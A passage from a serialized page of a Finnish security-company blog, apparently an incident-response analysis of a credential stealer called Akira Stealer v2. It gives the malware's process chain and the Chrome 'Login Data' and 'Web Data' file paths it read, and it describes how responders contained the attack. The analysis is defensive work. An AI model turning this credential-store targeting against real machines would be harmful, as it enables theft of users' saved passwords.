[{"data":1,"prerenderedAt":15272},["ShallowReactive",2],{"sc:header-data-fi":3,"sc:footer-data-fi":489,"author-fi-pascal-asch-1864737b7d2e83":519,"content-fi-pascal-asch":549,"content-events-fi-pascal-asch":15262,"authors_data:Pascal Asch":15263},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"fi":13},{"title":14,"url":15,"alt":16},"Etusivu","/fi","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"fi":21},{"title":22,"description":23},"Workplace","Microsoft 365 -pohjaiset älykkäät, turvalliset ja joustavat työympäristöt, jotka yhdistävät nykyaikaiset teknologiat ja identiteettipalvelut.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"fi":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"fi":34},{"title":35,"url":36},"Managed Intune","/fi/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"fi":40},{"title":41,"url":42},"Managed Entra","/fi/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"fi":46},{"title":47,"url":48},"Managed Workplace","/fi/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"fi":52},{"title":53,"url":54},"Consulting Services","/fi/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"fi":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"fi":64},{"title":65,"url":66},"Microsoft Entra Suite","/fi/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"fi":70},{"title":71,"url":72},"Microsoft Intune","/fi/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"fi":76},{"title":77,"url":78},"Microsoft Windows","/fi/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"fi":82},{"title":83,"url":84},"Windows 365 Cloud PC","/fi/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"fi":88},{"title":89,"url":90},"Cloud Workplace Foundation","/fi/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"fi":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"fi":100},{"title":101,"url":102},"Microsoft 365 Copilot","/fi/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"fi":106},{"title":107,"url":108},"Teams","/fi/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"fi":112},{"title":113,"url":114},"SharePoint & Power Platform","/fi/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"fi":118},{"title":119,"url":120},"Exchange Online","/fi/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"fi":124},{"title":125,"url":126},"Information Protection & Compliance","/fi/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"fi":130},{"title":131,"description":132},"Azure","Vauhdita kasvua Azurella: leikkaa pilvikustannuksia, paranna tehokkuutta ja edistä innovaatioita IaaS:n ja PaaS:n avulla.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"fi":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"fi":142},{"title":143,"url":144},"Azure Managed Services","/fi/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"fi":148},{"title":149,"url":150},"Azure Consulting","/fi/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"fi":154},{"title":155},"Skenaariot",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"fi":160},{"title":161,"url":162},"Suunnittele pilvesi","/fi/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"fi":166},{"title":167,"url":168},"Siirry pilveen","/fi/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"fi":172},{"title":173,"url":174},"Uudista liiketoimintasi","/fi/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"fi":178},{"title":179,"url":180},"Mieti VMware-strategiasi uudelleen","/fi/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"fi":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"fi":190},{"title":191,"url":192},"Azure Foundation","/fi/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"fi":196},{"title":197,"url":198},"Azure AI Foundation","/fi/azure/azure-ai-foundation",{"name":86,"languages":200},{"fi":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"fi":205},{"title":206,"url":207},"Azure Data Foundation","/fi/azure/azure-data-foundation",{"name":188,"languages":209},{"fi":210},{"title":211,"url":212},"Azure Container Foundation","/fi/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"fi":216},{"title":217,"url":218},"Managed Dark Tenant","/fi/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"fi":222},{"title":223,"url":224},"Cloud Adoption Framework","/fi/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"fi":228},{"title":229,"url":230},"Cloud Competence Center","/fi/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"fi":234},{"title":235,"description":236,"emergency":237},"Tietoturva","Valppautta pilvessä palkitulla 24/7-hallintapalvelulla, häiriötilanteiden hallinnalla ja huippuluokan suojauksella infrastruktuurillesi.",{"text":238,"href":239,"skin":240,"icon":241},"Hyökkäyksen kohteena?","/fi/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"fi":249},{"title":250,"url":251},"Managed Red Tenant","/fi/security/managed-red-tenant",{"name":214,"languages":253},{"fi":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"fi":259},{"title":260,"url":261},"Sentinel Data Lake","/fi/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"fi":265},{"title":266,"url":267},"Security Consulting","/fi/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"fi":274},{"title":275,"url":276},"Cloud Security Operations Center","/fi/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"fi":280},{"title":281,"url":282},"Global Secure Access","/fi/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"fi":286},{"title":287,"url":288},"MyWorkID","/fi/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"fi":295},{"title":296,"url":297},"Preventive Services","/fi/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"fi":301},{"title":302,"url":303},"Data Security Service","/fi/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"fi":307},{"title":308,"url":309},"Security Copilot Agents","/fi/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"fi":313},{"title":314,"url":315},"NIS2:n käyttöönotto","/fi/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"fi":319},{"title":320,"description":321},"Tuotteet","Innovatiiviset täydentävät tuotteet täysin turvalliseen, 100-prosenttisesti pilvipohjaiseen Microsoft-ympäristöön, jotka parantavat yhteistyötä, verkon todennusta ja ohjelmistojen hallintaa.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"fi":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Pilvipohjainen ohjelmistojen jakelu",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"fi":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Varmenteiden jakelu pilvestä",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"fi":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Työskentele paikallisten Office 365 -tietojesi kanssa",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"fi":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Siirrä tietosi palvelimelta toiselle",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"fi":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider Microsoft 365:lle",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"fi":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Todennus verkollesi",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"fi":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Etsi yhteystietoja Microsoft Teamsista",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"fi":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Windows Autopilot -valvonta reaaliajassa",{"name":396,"languages":397},"casestudies",{"fi":398},{"title":399,"url":400,"description":401},"Asiakastarinat","/fi/casestudies","Pilven edelläkävijä: paras Microsoft-kumppanisi kattaviin pilviratkaisuihin Blueprint-pohjaisella lähestymistavalla ja Infrastructure-as-Code-osaamisella.",{"name":403,"languages":404,"children":407},"company",{"fi":405},{"title":406,"description":401},"Yritys",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"fi":411},{"title":412},"Tietoa meistä",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"fi":417},{"title":418,"url":419},"Faktat ja luvut","/fi/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"fi":423},{"title":424,"url":425},"Yhteystiedot ja toimipisteet","/fi/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"fi":429},{"title":430,"url":431},"glueckkanja Sveitsi","/fi/company/switzerland",{"name":433,"languages":434},"austria",{"fi":435},{"title":436,"url":437},"glueckkanja Itävalta","/fi/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"fi":441},{"title":442},"Ura",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"fi":447},{"title":448,"url":449},"Urakatsaus","/fi/career",{"name":451,"languages":452},"company-young-professionals",{"fi":453},{"title":454,"url":455},"Young Professionals","/fi/young-professionals",{"name":457,"languages":458},"company-jobs",{"fi":459},{"title":460,"url":461},"Avoimet työpaikat","/fi/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"fi":465},{"title":466},"Uusimmat",[468,474],{"name":469,"languages":470},"company-blog",{"fi":471},{"title":472,"url":473},"Blogi","/fi/blog",{"name":469,"languages":475},{"fi":476},{"title":477,"url":478},"Tapahtumat","/fi/events",[480],{"name":481,"languages":482},"career-meta",{"fi":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"fi":487},{"title":488,"url":425,"active":484},"Yhteystiedot",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksFi":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Tietosuoja","/fi/privacy",{"title":514,"url":515},"Oikeudelliset tiedot","/fi/imprint",{"title":517,"url":518},"Ei evästeitä","/fi/cookies",{"id":520,"title":521,"body":522,"description":528,"extension":533,"meta":534,"name":521,"navigation":325,"otherLanguages":535,"path":545,"seo":546,"stem":547,"__hash__":548},"authors/pascal-asch.md","Pascal Asch",{"type":523,"value":524,"toc":529},"minimal",[525],[526,527,528],"p",{},"Pascal Asch ist Teil des Cyber Security Operations Centers (CSOC) von glueckkanja und auf die Analyse und Abwehr komplexer Bedrohungslagen spezialisiert. Sein Schwerpunkt liegt auf Incident Response, Threat Hunting und Malware-Analyse im Microsoft-Umfeld. Dabei verbindet er tiefgehendes technisches Know-how mit einem klaren Blick für forensische Zusammenhänge – von der ersten Auffälligkeit bis zur vollständigen Aufklärung eines Angriffs.",{"title":530,"searchDepth":531,"depth":531,"links":532},"",2,[],"md",{},{"en":536,"es":537,"sv":538,"fi":539,"da":540,"ko":541,"nl":542,"no":543,"ja":544},"Pascal Asch is part of the Cyber Security Operations Center (CSOC) at glueckkanja, specializing in the analysis and mitigation of complex threat scenarios. His focus lies in incident response, threat hunting, and malware analysis within Microsoft environments. He combines deep technical expertise with a sharp forensic mindset – from the first anomaly to the full resolution of an attack.","Pascal Asch forma parte del Cyber Security Operations Center (CSOC) de glueckkanja y está especializado en el análisis y la defensa frente a situaciones de amenaza complejas. Su enfoque se centra en Incident Response, Threat Hunting y análisis de malware en el entorno de Microsoft. Combina un profundo conocimiento técnico con una visión clara de las relaciones forenses, desde el primer indicio hasta el esclarecimiento completo de un ataque.","Pascal Asch är en del av glueckkanjas Cyber Security Operations Center (CSOC) och specialiserad på analys och avvärjning av komplexa hotbilder. Hans fokus ligger på Incident Response, Threat Hunting och malware-analys i Microsoft-miljö. Han förenar djup teknisk kompetens med en tydlig blick för forensiska samband, från den första avvikelsen till fullständig utredning av en attack.","Pascal Asch työskentelee glueckkanjan Cyber Security Operations Centerissä (CSOC) ja on erikoistunut monimutkaisten uhkatilanteiden analysointiin ja torjuntaan. Hänen painopisteenään ovat Incident Response, Threat Hunting ja haittaohjelma-analyysi Microsoft-ympäristössä. Hän yhdistää syvän teknisen osaamisen selkeään näkemykseen forensisista yhteyksistä ensimmäisestä poikkeamasta hyökkäyksen täydelliseen selvittämiseen.","Pascal Asch er en del af glueckkanjas Cyber Security Operations Center (CSOC) og specialiseret i analyse og afværgning af komplekse trusselsbilleder. Hans fokus ligger på Incident Response, Threat Hunting og malware-analyse i Microsoft-miljøet. Han kombinerer dybdegående teknisk knowhow med et klart blik for forensiske sammenhænge, fra den første anomali til den fuldstændige opklaring af et angreb.","Pascal Asch은 glueckkanja의 Cyber Security Operations Center(CSOC) 소속으로 복잡한 위협 상황의 분석과 방어를 전문으로 합니다. 그의 중점 분야는 Microsoft 환경에서의 Incident Response, Threat Hunting, 멀웨어 분석입니다. 그는 깊이 있는 기술적 노하우와 포렌식 맥락에 대한 명확한 시각을 결합하여, 최초의 이상 징후부터 공격의 완전한 규명에 이르기까지 대응합니다.","Pascal Asch is onderdeel van het Cyber Security Operations Center (CSOC) van glueckkanja en gespecialiseerd in de analyse en afweer van complexe dreigingssituaties. Zijn focus ligt op incident response, threat hunting en malware-analyse binnen het Microsoft-landschap. Daarbij combineert hij diepgaande technische kennis met een scherp oog voor forensische samenhang, van de eerste afwijking tot de volledige reconstructie van een aanval.","Pascal Asch er en del av Cyber Security Operations Center (CSOC) hos glueckkanja og spesialisert på analyse og avverging av komplekse trusselsituasjoner. Tyngdepunktet ligger på Incident Response, Threat Hunting og malware-analyse i Microsoft-miljøet. Han kombinerer dyp teknisk kompetanse med et klart blikk for forensiske sammenhenger, fra første avvik til fullstendig oppklaring av et angrep.","Pascal AschはglueckkanjaのCyber Security Operations Center（CSOC）のメンバーで、複雑な脅威状況の分析と防御を専門としています。重点はMicrosoft環境におけるIncident Response、Threat Hunting、マルウェア解析です。深い技術的知見と、フォレンジックの文脈を見通す視点を組み合わせ、最初の兆候から攻撃の全容解明までを担います。","/pascal-asch",{"title":521,"description":528},"pascal-asch","h9IFki986nfubTkh2vFlR-qx4IOL2kjI9sufDTKc3ao",[550,13107],{"id":551,"title":552,"author":553,"body":554,"cta":494,"description":563,"eventid":494,"extension":533,"hideInRecent":484,"layout":12980,"meta":12981,"moment":12985,"navigation":325,"path":13098,"seo":13099,"stem":13100,"tags":13101,"webcast":484,"__hash__":13106},"content_fi/posts/2025-06-16-quiet-breach.md","Akira Stealer sisältä: modulaarisen stealerin täydellinen tekninen analyysi",[521],{"type":523,"value":555,"toc":12835},[556,561,564,572,575,594,597,615,624,627,630,654,662,672,682,685,688,703,710,713,716,731,735,737,747,752,755,758,770,779,786,789,795,798,802,804,810,817,820,824,826,829,855,861,867,871,873,876,880,882,885,887,893,896,901,904,914,917,920,940,943,950,957,959,965,968,974,977,1012,1015,1024,1030,1039,1042,1054,1057,1064,1066,1074,1084,1117,1123,1128,1150,1156,1159,1162,1167,1175,1182,1184,1187,1198,1201,1235,1241,1268,1277,1280,1285,1294,1296,1305,1311,1332,1335,1340,1374,1378,1381,1384,1390,1404,1410,1416,1418,1423,1427,1429,1509,1512,1516,1518,1523,1529,1534,1543,1548,1553,1564,1567,1572,1580,1586,1589,1593,1595,1607,1612,1631,1637,1646,1657,1664,1669,1673,1675,1681,1707,1710,1724,1727,1736,1739,1743,1745,1753,1756,1759,1772,1782,1789,1810,1813,1819,1823,1825,1828,1837,1849,1874,1880,1886,1889,1896,1899,1912,1919,1921,1928,1932,1934,1940,2038,2045,2052,2054,2057,2080,2083,2112,2115,2157,2160,2169,2172,2189,2196,2199,2208,2211,2224,2231,2235,2237,2244,2267,2274,2308,2311,2326,2333,2338,2349,2352,2356,2358,2361,2376,2383,2394,2405,2442,2449,2452,2456,2458,2464,2469,2509,2512,2527,2530,2539,2545,2548,2552,2554,2557,2566,2569,2616,2623,2627,2629,2634,2639,2667,2674,2676,2692,2696,2698,2701,2739,2745,2751,2755,2757,2776,2786,2793,2830,2837,2883,2892,2896,2898,2901,2931,2941,2948,2950,2955,2959,2961,2967,2971,2973,2980,3006,3013,3273,3276,3281,3284,3316,3322,3326,3328,3331,3335,3337,3340,3442,3445,3449,3451,3454,3617,3620,3643,3647,3649,3657,3902,3905,3934,3938,3940,3973,3976,3979,4010,4014,4016,4022,4027,4030,4048,4051,4059,4064,4067,4147,4155,4158,4164,4172,4176,4178,4184,4189,4192,4209,4216,4221,4227,4289,4303,4308,4314,4341,4344,4382,4385,4390,4393,4407,4411,4413,4418,4438,4445,4451,4453,4457,4459,4465,4469,4471,4475,4477,4482,4509,4515,4519,4521,4527,4544,4568,4575,4579,4581,4584,4593,4607,4610,4614,4616,4629,4632,4641,4647,4654,4656,4660,4662,4672,4676,4678,4683,4697,4711,4715,4717,4796,4799,4806,4808,4813,4871,4878,5003,5006,5151,5155,5157,5160,5214,5217,5221,5223,5230,5283,5286,5290,5292,5295,5347,5350,5354,5356,5363,5415,5418,5422,5424,5431,5472,5475,5479,5481,5488,5570,5573,5577,5579,5582,5629,5632,5637,5640,5643,5647,5649,5654,5660,5665,5671,5676,5682,5687,5693,5698,6098,6102,6104,6144,6148,6150,6161,6165,6167,6178,6183,6208,6229,6234,6322,6326,6328,6422,6425,6431,6438,6440,6443,6498,6553,6560,6562,6565,6600,6635,6642,6644,6647,6680,6715,6722,6724,6727,6796,6842,6849,6851,6854,6882,6913,6920,6922,6925,6953,6975,6985,6987,6990,7015,7053,7057,7059,7092,7096,7098,7101,7104,7107,7110,7113,7118,7143,7148,7178,7184,7193,7215,7424,7428,7430,7437,7535,7538,7542,7544,7551,7644,7656,7662,7665,7670,7676,7704,7709,7739,7792,7811,7814,7819,7868,7872,7874,7877,7881,7883,7889,8009,8028,8032,8034,8039,8113,8134,8138,8140,8143,8146,8149,8152,8251,8259,8263,8265,8270,8305,8326,8330,8332,8335,8338,8346,8349,8437,8451,8455,8457,8460,8463,8556,8563,8565,8571,8575,8577,8580,8645,8663,8666,8700,8703,8707,8709,8714,8727,8772,8798,8803,8816,8892,8947,8951,8953,8956,8962,9002,9012,9018,9028,9032,9034,9037,9066,9092,9098,9102,9104,9111,9118,9120,9126,9181,9209,9213,9215,9218,9283,9290,9329,9333,9335,9341,9356,9359,9394,9398,9400,9407,9451,9465,9471,9478,9480,9483,9487,9489,9492,9526,9529,9554,9558,9560,9565,9568,9592,9617,9621,9623,9626,9650,9654,9656,9659,9679,9683,9685,9688,9695,9808,9813,9859,9863,9865,9872,9906,9960,9965,9968,9972,9974,9977,9981,9983,9986,9992,9996,9998,10001,10056,10071,10075,10077,10088,10157,10166,10171,10174,10218,10220,10224,10226,10229,10319,10324,10453,10457,10459,10462,10467,10540,10558,10563,10583,10591,10596,10602,10617,10634,10640,10698,10719,10724,10741,10746,10791,10805,10808,10812,10814,10819,10823,10825,10832,10839,10843,10845,10954,10961,10965,10967,10973,10978,11058,11065,11072,11076,11078,11081,11110,11117,11121,11123,11127,11129,11136,11139,11142,11145,11290,11293,11297,11299,11302,11306,11308,11311,11346,11352,11356,11358,11361,11387,11390,11396,11400,11402,11407,11424,11430,11434,11436,11440,11442,11458,11481,11488,11503,11522,11525,11529,11531,11542,11546,11548,11982,11985,11989,11991,11997,12000,12003,12009,12012,12023,12029,12032,12037,12041,12043,12046,12051,12065,12069,12071,12368,12371,12375,12377,12489,12492,12496,12498,12552,12555,12559,12561,12725,12728,12732,12734,12775,12778,12782,12784,12787,12790,12793,12796,12799,12802,12807,12811,12813,12816,12819,12822,12825,12828,12831],[557,558,560],"h1",{"id":559},"prologi","Prologi",[526,562,563],{},"{: .h3-font-size}",[526,565,566,567,571],{},"Kaikki alkoi niin kuin monet nykyajan hyökkäykset alkavat: hiljaa. Matalan luottamustason Defender-hälytys — ",[568,569,570],"strong",{},"\"Suspicious sequence of exploration activities\""," — nousi esiin, kun uutta asiakasta oltiin ottamassa mukaan glueckkanjan Cyber Security Operations Centeriin (CSOC).",[526,573,574],{},"Signatuuriosumia ei ollut. Ei haittaohjelmaluokituksia. Ei reaaliaikaisen suojauksen reaktiota. Vain yksi käyttäytymiseen perustuva korrelaatio Microsoft 365 Defenderissä, hautautuneena kohinaan — ja silti kiistatta väärin.",[526,576,577,578,582,583,586,587,590,591],{},"Hälytystä triagetessani yksi tietty toimenpide kiinnitti huomioni: ",[579,580,581],"code",{},"python.exe"," oli avannut sekä ",[579,584,585],{},"Login Data","- että ",[579,588,589],{},"Web Data"," -tiedostot Chromium-profiilin sisältä. Microsoft Defender nosti tämän välittömästi vakavaksi poikkeamaksi — ",[568,592,593],{},"\"Possible theft of passwords and other sensitive web browser information.\"",[526,595,596],{},"Tämä ei ollut väärä positiivinen. Se oli jäävuoren huippu.",[526,598,599,600,603,604,607,608,611,612,614],{},"Kun jäljitin telemetriaa taaksepäin, löysin geneerisen, käynnistyskansiossa sijainneen binäärin — ",[579,601,602],{},"Updater.exe"," — joka käynnisti NodeJS-pohjaisen kääreen (",[579,605,606],{},"main.exe","). Se puolestaan suoritti komentorivin, joka ajoi ",[579,609,610],{},"astor.py"," -nimisen skriptin ",[579,613,581],{},":n kautta.",[616,617,622],"pre",{"className":618,"code":620,"language":621,"meta":530},[619],"language-text","Updater.exe → main.exe → cmd.exe → python.exe Crypto\\Util\\astor.py\n","text",[579,623,620],{"__ignoreMap":530},[526,625,626],{},"Skripti ei vain kaapinut tunnistetietoja — se suoritti sarjan murron jälkeisiä tiedusteluvaiheita, muun muassa rekisterikyselyjä, järjestelmän sormenjälkien keräämistä ja oikeustietoista luettelointia. Se toimi kirurgisen tarkasti ja matki järjestelmän omaa käyttäytymistä välttääkseen havaitsemisen. Ja se toimi — melkein.",[526,628,629],{},"Ensimmäisen vasteen hetkellä:",[631,632,633,643,651],"ul",{},[634,635,636,638,639,642],"li",{},[579,637,602],{}," sai osuman vain ",[568,640,641],{},"1 moottorilta 69:stä"," VirusTotalissa.",[634,644,645,647,648,650],{},[579,646,606],{},", ",[579,649,610],{}," ja kaikki niihin liittyvät komponentit eivät käytännössä saaneet osumia VirusTotalissa.",[634,652,653],{},"Yhtäkään tiedostoa ei ollut allekirjoitettu. Ei korotettuja oikeuksia. Vain \"tavallisia\" prosesseja tekemässä hyvin epätavallisia asioita.",[526,655,656,658,659,661],{},[579,657,602],{}," ei koskenut tunnistetietoihin. Se tehtävä oli varattu ",[579,660,610],{},":lle, muistinvaraiselle Python-payloadille — tiedostolle, joka jätti suunnitellusti tuskin lainkaan jälkiä.",[526,663,664,667,668,671],{},[568,665,666],{},"21 minuutissa"," kohteena ollut järjestelmä eristettiin verkosta. ",[568,669,670],{},"70 minuutissa"," tunnistetiedot vaihdettiin kaikissa vaikutuksen kohteena olleissa ympäristöissä: sisäiset identiteetit, SaaS-alustat, kolmansien osapuolten palvelut.",[526,673,674,675,678,681],{},"Todellinen käännekohta tuli kuitenkin, kun purimme Python-payloadin salauksen kokonaan. Löytämämme ei ollut geneerinen stealer — se oli räätälöity toteutus ",[568,676,677],{},"Akira Stealer v2",[679,680],"sta",{},", kaupallisesti Telegramin kautta myytävästä haittaohjelmaperheestä.",[526,683,684],{},"Oman threat intelligence -osaamisemme ja reverse engineering -kyvykkyytemme ansiosta pystyimme rekonstruoimaan haittaohjelman koko toiminnallisuuden, poimimaan kaikki upotetut indikaattorit ja ymmärtämään yksityiskohtaisesti sen vaiheistus-, exfiltraatio- ja tunnistetietojen kohdennuslogiikan.",[526,686,687],{},"Mikä tärkeintä — emme pysähtyneet tekniseen attribuutioon. Menimme pidemmälle.",[526,689,690,691,694,695,698,699,702],{},"Pystyimme toimittamaan asiakkaalle ",[568,692,693],{},"täydellisen aineiston exfiltroiduista tunnistetiedoista",": yli ",[568,696,697],{},"100 uniikkia käyttäjätunnus-salasana-yhdistelmää",", mukaan lukien pääsytiedot pilvipalveluihin, CRM-järjestelmiin, sisäisiin alustoihin ja jopa avainhenkilöiden henkilökohtaisiin työkaluihin. Varastaminen oli jatkunut ",[568,700,701],{},"kuukausia"," — ja pystyimme selvittämään siitä kaiken.",[526,704,705,706,709],{},"Tästä tapauksesta saatujen havaintojen pohjalta rakensimme ",[568,707,708],{},"tartunnan jälkeisen analyysityökalun",", joka skannaa kohteena olleet järjestelmät, rekonstruoi tunnistetietojen käyttökuviot ja tuottaa yksityiskohtaisia forensisia raportteja — kartoittaen tarkalleen, mitä varastettiin, milloin ja mistä.",[526,711,712],{},"Esittelemme skanneria lyhyesti tämän raportin lopussa.",[526,714,715],{},"Sillä tämä on enemmän kuin pelkkä poikkeama.\nNäin me tutkimme. Näin me suojaamme.",[526,717,718,727,730],{},[568,719,720,721,726],{},"Tervetuloa ",[722,723,725],"a",{"href":724},"/fi/security/cloud-security-operations-center/","glueckkanja CSOC:hen",".",[728,729],"br",{},"\nNäin me työskentelemme — koska tietomurrot eivät odota.",[557,732,734],{"id":733},"_1-ensimmäinen-tapahtuma-ja-triage-yhteenveto","1. Ensimmäinen tapahtuma ja triage-yhteenveto",[526,736,563],{},[738,739,741],"ol",{"start":740},31,[634,742,743,744,746],{},"maaliskuuta 2025 Microsoft Defender for Endpoint tuotti Windows 10 64-bittisellä päätelaitteella hälytyksen ",[568,745,570],{},". Aloitin triagen tämän signaalin pohjalta ja tarkastelin kohteena ollutta järjestelmää prosessipuun, järjestelmän aikajanan ja Defenderin korreloimien todisteiden avulla.",[748,749,751],"h2",{"id":750},"_11-aikajanaan-perustuva-triage","1.1 Aikajanaan perustuva triage",[526,753,754],{},"{: .h4-font-size}",[526,756,757],{},"Hälytys osoitti prosessisarjaan, joka vaati tarkempaa tutkimista. Alkutarkastelussa havaitsin seuraavat käyttöoikeudet Chrome-selaimen tietoihin paikallisessa käyttäjäprofiilissa:",[631,759,760,765],{},[634,761,762],{},[579,763,764],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data",[634,766,767],{},[579,768,769],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Web Data",[526,771,772,773,775,776,778],{},"Näiden käytön käynnisti prosessi nimeltä ",[579,774,602],{},". Vaikka Microsoft Defender ei ollut merkinnyt binääriä heuristisen tai käyttäytymisanalyysin perusteella, löysin ",[579,777,602],{},":lle havainnon VirusTotalista — sen oli tuolloin merkinnyt yksi ainoa moottori.",[526,780,781],{},[782,783],"img",{"alt":784,"src":785},"Microsoft Defender","https://res.cloudinary.com/c4a8/image/upload/v1749797184/blog/pics/microsoft-defender.png",[526,787,788],{},"Havaittu suoritusketju kokonaisuudessaan oli seuraava:",[616,790,793],{"className":791,"code":792,"language":621,"meta":530},[619],"winlogon.exe\n└── userinit.exe\n    └── explorer.exe\n        └── Updater.exe\n            └── main.exe\n                └── cmd.exe /d /s /c \"python.exe Crypto\\Util\\astor.py\"\n                    └── python.exe Crypto\\Util\\astor.py\n",[579,794,792],{"__ignoreMap":530},[526,796,797],{},"Tässä vaiheessa mukana olleista tiedostoista ei ollut tehty syvempää staattista tai dynaamista analyysiä. Keskityin ymmärtämään käyttäytymistä ja kontekstia yleisellä tasolla. Prosessien nimet ja tiedostopolut olivat geneerisiä, eikä epäilyttäviä komentoriviargumentteja esiintynyt ketjutetun Python-suorituksen lisäksi.",[748,799,801],{"id":800},"_12-ensimmäinen-vaste","1.2 Ensimmäinen vaste",[526,803,754],{},[526,805,806,809],{},[568,807,808],{},"21 minuutin"," kuluessa ensimmäisestä hälytyksestä eristin isäntäkoneen Defender for Endpointin eristystoiminnoilla. Tavoitteena oli estää mahdollinen leviäminen tai exfiltraatio.",[526,811,812,813,816],{},"Ensimmäisten ",[568,814,815],{},"70 minuutin"," aikana vaihdoimme tunnistetiedot, joiden tiedettiin olevan käytössä kyseisellä 